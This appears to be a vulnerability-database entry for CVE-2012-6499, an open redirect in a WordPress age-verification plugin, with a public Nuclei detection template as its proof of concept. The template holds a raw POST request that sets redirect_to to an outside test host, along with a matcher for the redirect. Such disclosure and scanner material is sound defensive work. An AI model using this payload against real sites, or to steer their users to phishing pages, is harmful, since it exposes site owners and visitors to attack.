CVE-2012-6499: WordPress Plugin Age Verification v0.4 - Open Redirect

日期: 2025-08-01 | 影响软件: WordPress Plugin | POC: 已公开

漏洞描述

Open redirect vulnerability in age-verification.php in the Age Verification plugin 0.4 and earlier for WordPress allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the redirect_to parameter.

PoC代码[已公开]

id: CVE-2012-6499

info:
  name: WordPress Plugin Age Verification v0.4 - Open Redirect
  author: ctflearner
  severity: medium
  description: |
    Open redirect vulnerability in age-verification.php in the Age Verification plugin 0.4 and earlier for WordPress allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the redirect_to parameter.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware.
  remediation: |
    Update to the latest version of the WordPress Plugin Age Verification or remove the plugin if not needed.
  reference:
    - https://www.exploit-db.com/exploits/18350
    - https://wordpress.org/plugins/age-verification
    - https://nvd.nist.gov/vuln/detail/CVE-2012-6499
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:N
    cvss-score: 5.8
    cve-id: CVE-2012-6499
    cwe-id: CWE-20
    epss-score: 0.43632
    epss-percentile: 0.97442
    cpe: cpe:2.3:a:age_verification_project:age_verification:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: age_verification_project
    product: age_verification
  tags: cve,cve2012,wordpress,wp,wp-plugin,redirect,age-verification,age_verification_project

http:
  - raw:
      - |
        POST /wp-content/plugins/age-verification/age-verification.php HTTP/1.1
        Host: {{Hostname}}

        redirect_to=http://www.interact.sh&age_day=1&age_month=1&age_year=1970

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
# digest: 4a0a00473045022072ea6bc2d22904d35cfbbc7af4da243ac491aa016b7ca0fc02bf0e643e5d10f3022100c53efdaa5e3a4b245bd73aebbe474e6398e402e0596ef050ec1a187d4cd531b3:922c64590222798bb761d5b6d8e72950

相关漏洞推荐